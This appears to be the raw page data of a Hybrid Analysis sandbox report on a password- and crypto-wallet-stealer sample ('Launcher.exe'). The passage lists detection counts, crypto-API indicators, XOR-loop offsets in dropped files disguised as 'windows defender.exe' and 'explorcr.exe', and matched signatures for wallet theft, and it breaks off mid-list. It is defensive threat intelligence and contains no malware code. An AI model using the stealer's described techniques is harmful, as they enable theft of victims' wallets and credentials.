24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 73:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4ca,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious TrojanPSW.MSIL.Stealer.gen.pkii Sample 53ab4a93b932… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 53ab4a93b932…. Malware family: TrojanPSW.MSIL.Stealer.gen.pkii. Threat score 100/100. 8/26 AV engines flagged this file. 30 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/53ab4a93b93223968cf2e71ea8070ba2d7e1a9010d21d41e25100e2b6ab516d9","keywords":["Malicious","TrojanPSW.MSIL.Stealer.gen.pkii","malware analysis","sandbox report","threat intelligence","53ab4a93b93223968cf2e71ea8070ba2d7e1a9010d21d41e25100e2b6ab516d9"],"about":{"@type":"SoftwareApplication","name":"Launcher.exe","applicationCategory":["compressed","7zip"],"identifier":"53ab4a93b93223968cf2e71ea8070ba2d7e1a9010d21d41e25100e2b6ab516d9","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"TrojanPSW.MSIL.Stealer.gen.pkii","antivirusDetections":{"malicious":8,"total":26},"behavioralIndicators":{"malicious":30,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Te8d,file/memory contains long string with (Indicator: "CryptoStream"; File: "Build.exe") file/memory contains long string with (Indicator: "HashAlgorithm"; File: "Build.exe") file/memory contains long string with (Indicator: "RandomNumberGenerator"; File: "Build.exe") file/memory contains long string with (Indicator: "RNGCryptoServiceProvider"; File: "Build.exe") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "Build.exe") file/memory contains long string with (Indicator: "HashAlgorithm"; File: "System Properties.exe") file/memory contains long string with (Indicator: "MD5CryptoServiceProvider"; File: "System Properties.exe") file/memory contains long string with (Indicator: "Rijndael"; File: "System Properties.exe") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "System Properties.exe") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "System Properties.exe") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") file/memory contains long string with (Indicator: "Aes"; Source: "00000000-00005992-00000CBD-1417580022") file/memory contains long string with (Indicator: "RC2"; Source: "00000000-00005992-00000CBD-1417588485") file/memory contains long string with (Indicator: "HMAC"; Source: "00000000-00005992-00000CBD-1418380129") file/memory contains long string with (Indicator: "HMAC"; Source: "00000000-00005992-00000CBD-1418380620") file/memory contains long string with (Indicator: "HMAC"; Source: "00000000-00005992-00000CBD-1418726632") file/memory contains long string with (Indicator: "Aes"; Source: "00000000-00005992.00000000.154460.06A50000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found reference to "RC20 Clipper" (Indicator: "RC2"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp")26:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}27:T1413,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-49-001BEE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-92-001BE950 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-92-001BE950 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-126-001BD490 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-126-001BD490 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-129-001B985C Assembly shows XOR instruction xor esi dword ptr [001C0394h] in Stream UID: 00000000-00007948-65500-129-001B985C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-129-001B985C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-133-001B995D Assembly shows XOR instruction xor esi dword ptr [001C0390h] in Stream UID: 00000000-00007948-65500-133-001B995D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-133-001B995D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-135-001BDAD1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-135-001BDAD1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-137-001BDA34 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-137-001BDA34 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-141-001BD610 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-141-001BD610 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-149-001BD560 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-149-001BD560 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-151-001BD501 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-151-001BD501 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-158-001BA510 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-161-001BA4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-162-001BA4B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-182-001B8190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-182-001B8190 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00007948-65500-194-001BC4B6 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00007948-65500-194-001BC4B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-195-001B8AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-195-001B8AF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-198-001B8E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-198-001B8E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-199-001B7C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-199-001B7C30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-202-001B85B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-202-001B85B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-203-001B89F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-203-001B89F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-204-001B9030 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-204-001B9030 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-211-001BD341 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-211-001BD341 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-214-001BC439 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-214-001BC439 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007948-65500-215-001B92C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007948-65500-215-001B92C0 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00007948-65500-217-001B9F43 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00007948-65500-217-001B9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00007948-65500-217-001B9F43 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00007948-65500-217-001B9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00007948-65500-217-001B9F43 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00007948-65500-217-001B9F4328:T767,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Tries to steal crypto wallet extension (file access) Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Contains ability to decrypt/decode data Matched sigs: Able to perform cryptographic operations Matched sigs: Tries to steal crypto wallet extension (string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Contains ability to decode base64 data Matched sigs: Able to access crypto wallet extension (string) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops image files with high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match - RC4 Encryption29:T9818,Found XOR loop in file "Build.exe" at offset 24197; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1213110; code bytes = 30d0 Found XOR loop in file "windows defender.exe" at offset 1464556; code bytes = 30d0 Found XOR loop in file "windows defender.exe" at offset 1823933; code bytes = 30d0 Found XOR loop in file "windows defender.exe" at offset 3390592; code bytes = 30d0 Found XOR loop in file "windows defender.exe" at offset 2440013; code bytes = 33c1 Found XOR loop in file "windows defender.exe" at offset 2440019; code bytes = 33c1 Found XOR loop in file "windows defender.exe" at offset 33604; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 136953; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 213024; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1131134; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1131175; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1131195; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1132903; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1198334; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1320368; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1483943; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1484513; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1485013; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1491413; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1501433; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1501563; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1510213; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1515483; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1521553; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1522363; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1523173; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1523553; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1524003; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1546533; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1549543; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1561223; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1651110; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 1701480; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 2154178; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 2154226; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 2437906; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 3249895; code bytes = 8030 Found XOR loop in file "windows defender.exe" at offset 3257835; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1213110; code bytes = 30d0 Found XOR loop in file "explorer.exe" at offset 1823933; code bytes = 30d0 Found XOR loop in file "explorer.exe" at offset 1537204; code bytes = 33c1 Found XOR loop in file "explorer.exe" at offset 1823474; code bytes = 33c1 Found XOR loop in file "explorer.exe" at offset 2440013; code bytes = 33c1 Found XOR loop in file "explorer.exe" at offset 2440019; code bytes = 33c1 Found XOR loop in file "explorer.exe" at offset 33604; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 136953; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 213024; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1131134; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1131175; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1131195; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1132903; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1198334; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1320368; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1477083; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1478763; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1491413; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1501433; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1505043; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1505843; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1509673; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1510213; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1522363; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1523173; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1523553; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1524003; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1545043; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1546103; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1546453; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1547413; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1549543; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1561223; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1651110; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1701480; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1879634; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 1883090; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 2437906; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 3249863; code bytes = 8030 Found XOR loop in file "explorer.exe" at offset 3257803; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 79791; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 157304; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 173185; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 252767; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 361481; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 371328; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 414530; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 638052; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 650215; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 805718; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 827009; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 897421; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 901216; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 961666; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 1218303; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 1230167; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 1315846; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 1524749; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 1697696; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 1702069; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 1705692; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 1749855; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 1995265; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 2058002; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 2131630; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 2187786; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 2405601; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 2520749; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 2580525; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 2648423; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 2675047; code bytes = 30d0 Found XOR loop in file "Launcher.exe" at offset 199117; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 247150; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 258430; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 337607; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 479859; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 494552; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 512892; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 604463; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 650210; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 655675; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 798806; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 800628; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1003478; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1096633; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1137677; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1149417; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1158937; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1161703; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1310017; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1387941; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1429175; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1495709; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1507392; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1639820; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1733833; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1739413; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1752047; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1785080; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1825640; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 1904827; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 2097703; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 2368853; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 2463863; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 2661194; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 2662954; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 2694395; code bytes = 33c1 Found XOR loop in file "Launcher.exe" at offset 164153; code bytes = 30040e Found XOR loop in file "Launcher.exe" at offset 1825730; code bytes = 30040e Found XOR loop in file "Launcher.exe" at offset 24627; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 25903; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 53305; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 214009; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 287670; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 359072; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 635993; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 725673; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 801723; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 812746; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 816137; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 912146; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 916682; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 936484; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1242174; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1261401; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1278253; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1311115; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1423382; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1560645; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1688503; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1735137; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1911959; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1950730; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1952337; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 1961452; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 2073911; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 2149252; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 2174559; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 2210943; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 2441408; code bytes = 8030 Found XOR loop in file "Launcher.exe" at offset 2535833; code bytes = 8030 Found XOR loop in file "System Properties.exe" at offset 108708; code bytes = 30d0 Found XOR loop in file "System Properties.exe" at offset 79439; code bytes = 33c1 Found XOR loop in file "System Properties.exe" at offset 14043; code bytes = 8030 Found XOR loop in file "System Properties.exe" at offset 108167; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1213110; code bytes = 30d0 Found XOR loop in file "explorcr.exe" at offset 1823933; code bytes = 30d0 Found XOR loop in file "explorcr.exe" at offset 1537204; code bytes = 33c1 Found XOR loop in file "explorcr.exe" at offset 